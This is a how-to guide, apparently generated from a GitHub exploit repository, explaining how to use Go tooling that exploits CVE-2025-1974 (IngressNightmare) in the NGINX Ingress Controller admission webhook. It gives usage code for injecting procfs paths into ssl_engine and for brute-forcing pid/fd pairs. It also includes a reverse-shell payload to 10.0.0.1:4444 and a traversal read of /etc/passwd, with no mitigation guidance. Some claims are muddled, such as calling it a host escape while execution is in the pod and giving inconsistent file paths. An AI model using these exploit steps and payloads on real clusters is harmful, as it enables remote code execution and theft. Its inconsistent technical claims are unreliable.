# How IngressNightmare Exploits Path Traversal via `/proc/{pid}/fd/{fd}` in CVE-2025-1974

> Discover how IngressNightmare exploits CVE-2025-1974 using path traversal via /proc/{pid}/fd/{fd} to achieve remote code execution through NGINX ssl_engine. Understand the Ingress Controller vulnerability.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: how-to-guide
- Published: 2026-03-01

---

**IngressNightmare abuses a directory traversal vulnerability in the NGINX Ingress Controller's admission webhook by injecting paths like `../../../../../../proc/1/fd/3` that resolve to arbitrary file descriptors via procfs, enabling remote code execution through NGINX's `ssl_engine` directive.**

The IngressNightmare exploit (CVE-2025-1974) demonstrates a critical container escape vulnerability in Kubernetes environments by leveraging Linux procfs file descriptor resolution. This attack, implemented in the `esonhugh/ingressnightmare-cve-2025-1974-exps` repository, manipulates the NGINX Ingress Controller's validation logic to traverse out of temporary directories and execute malicious shared objects through `/proc/{pid}/fd/{fd}` symlinks.

## How the Path Traversal Exploit Works

IngressNightmare exploits a **directory traversal** bug in the admission webhook validation logic of the NGINX Ingress Controller. When processing webhook requests, the controller fails to sanitize file paths adequately, allowing attackers to escape the temporary directory sandbox and reference arbitrary file descriptors on the host system.

The attack chain operates through five distinct phases:

1. **Payload Injection**: The attacker sends a crafted JSON payload to the webhook URL, replacing the `foobar` placeholder in [`nginx-ingress/validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/validate.json) with a traversal string like `../../../../../../proc/1/fd/3`.

2. **Path Construction**: The `ValidateWebHook` function in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) constructs the malicious URL using `fmt.Sprintf("../../../../../../proc/%v/fd/%v", pid, fd)`, embedding it into the validation configuration.

3. **NGINX Configuration Injection**: The webhook embeds the traversal path into a temporary NGINX configuration file, inserting the path as an argument to the `ssl_engine` directive: `ssl_engine /proc/1/fd/3;`.

4. **Procfs Symlink Resolution**: When NGINX attempts to load the SSL engine, the kernel resolves the `/proc/{pid}/fd/{fd}` symlink, which points to any open file descriptor of any process on the node, bypassing standard filesystem permission checks.

5. **Arbitrary Code Execution**: The malicious shared object (`danger.so`) loaded from the file descriptor executes its `init_module` routine, granting the attacker code execution within the NGINX pod context.

## Technical Implementation in IngressNightmare

### The ValidateWebHook Function

The core traversal logic resides in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go). The `ValidateWebHook` function dynamically constructs directory traversal strings that escape six directory levels before reaching the procfs interface:

```go
evilUrl := fmt.Sprintf("../../../../../../proc/%v/fd/%v", pid, fd)

```

This string exploits the controller's temporary file handling by climbing out of the sandbox directory (`tempXXX`) and accessing the host's process file descriptors. The function then posts this payload to the admission webhook endpoint, where it replaces the `foobar` placeholder in the [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json) template.

### Crafting the Malicious Payload

The [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) file generates the malicious shared object payloads (reverse shells, bind shells, or raw execution) compiled into `nginx-ingress/danger.so`. When NGINX processes the `ssl_engine` directive containing the procfs path, it loads this shared object as a custom SSL engine module, triggering immediate execution of the embedded payload.

### Brute-Forcing PID and FD Pairs

Since specific process IDs and file descriptors vary across target systems, the `Exploit` function implements a brute-force scanner that iterates through configurable ranges of PIDs and FDs:

```go
nginx_ingress.Exploit(
    "https://ingress-controller.example.com/validate",
    "https://ingress-controller.example.com/upload",
    payload,
    0, 10,  // fd range: start at 0, scan 10 handles
    1, 20,  // pid range: start at 1, scan 20 processes
)

```

The tool concurrently uploads the malicious `.so` file and attempts different `pid`/`fd` combinations until the webhook validation succeeds, indicating successful code injection.

## Exploitation Code Examples

### Direct Webhook Invocation with Procfs Path

To exploit a specific known file descriptor, use the `ValidateWebHook` function with targeted PID and FD values:

```go
url := "https://ingress-controller.example.com/validate"
pid := 1   // Targeting host init process
fd := 3    // File descriptor holding malicious .so

err := nginx_ingress.ValidateWebHook(url, fd, pid)
if err != nil {
    log.Fatalf("Exploit failed: %v", err)
}
log.Println("Exploit succeeded – code injected!")

```

This approach works when the attacker knows or can predict which process holds an open handle to the malicious shared object.

### Automated Brute-Force Exploitation

For unknown environments, use the full `Exploit` routine to scan ranges automatically:

```go
payload := nginx_ingress.NewReverseShellPayload("10.0.0.1", "4444")
nginx_ingress.Exploit(
    "https://ingress-controller.example.com/validate",
    "https://ingress-controller.example.com/upload",
    payload,
    0,  50,  // Scan file descriptors 0-49
    1,  100, // Scan process IDs 1-100
)

```

The function continuously uploads `danger.so` through the optional upload endpoint while testing each `pid`/`fd` combination against the validation webhook until successful injection occurs.

### General Path Traversal for Information Disclosure

To exploit the traversal vulnerability for reading arbitrary files without procfs:

```go
nginx_ingress.OnlyAdmissionRequest(
    "https://ingress-controller.example.com/validate",
    "../../../../../../etc/passwd",
)

```

This demonstrates the broader impact of the directory traversal beyond procfs exploitation, allowing access to sensitive host filesystem paths.

## Summary

- **IngressNightmare** exploits CVE-2025-1974 through directory traversal in the NGINX Ingress Controller admission webhook
- The attack uses `../../../../../../proc/{pid}/fd/{fd}` paths to escape temporary directories and access arbitrary file descriptors via procfs
- The `ValidateWebHook` function in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) constructs the traversal payload that replaces the `foobar` placeholder in [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json)
- NGINX's `ssl_engine` directive loads the malicious `danger.so` shared object from the procfs symlink, executing attacker-controlled code
- The `Exploit` function automates brute-forcing of PID and FD ranges to locate accessible file descriptors across different target configurations

## Frequently Asked Questions

### What is `/proc/{pid}/fd/{fd}` and why does it enable exploitation?

`/proc/{pid}/fd/{fd}` is a special symbolic link in the Linux procfs filesystem that points to the actual file represented by a specific file descriptor in a specific process. This mechanism bypasses standard filesystem access controls because the kernel resolves the descriptor directly, regardless of the original file's permissions or location. IngressNightmare exploits this to access files that the NGINX process otherwise could not reach through normal path resolution.

### How does the `ssl_engine` directive facilitate code execution?

The `ssl_engine` directive in NGINX configuration specifies a shared object library that implements a custom SSL engine. When NGINX encounters this directive during configuration testing (`nginx -t`), it attempts to load the specified library immediately. By providing a procfs path to a malicious shared object (`danger.so`) generated by [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go), the attacker forces NGINX to execute arbitrary code within its privileged process context.

### Why doesn't the admission webhook sanitize the path traversal strings?

According to the source code in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go), the admission webhook validation logic in vulnerable versions of the NGINX Ingress Controller performs insufficient input validation on the supplied file paths. The controller accepts the malicious `../../../../../../proc/1/fd/3` string and embeds it directly into the temporary NGINX configuration without checking for directory traversal sequences or validating that the path remains within the intended temporary directory.

### Can this exploit work without knowing the specific PID and file descriptor?

Yes, the IngressNightmare implementation includes brute-force capabilities through the `Exploit` function that iterates over ranges of process IDs and file descriptors. Since the malicious shared object must remain open in a file descriptor to be accessible via procfs, the tool continuously attempts different combinations until it finds a valid reference, making the attack viable even without prior knowledge of the target system's specific process layout.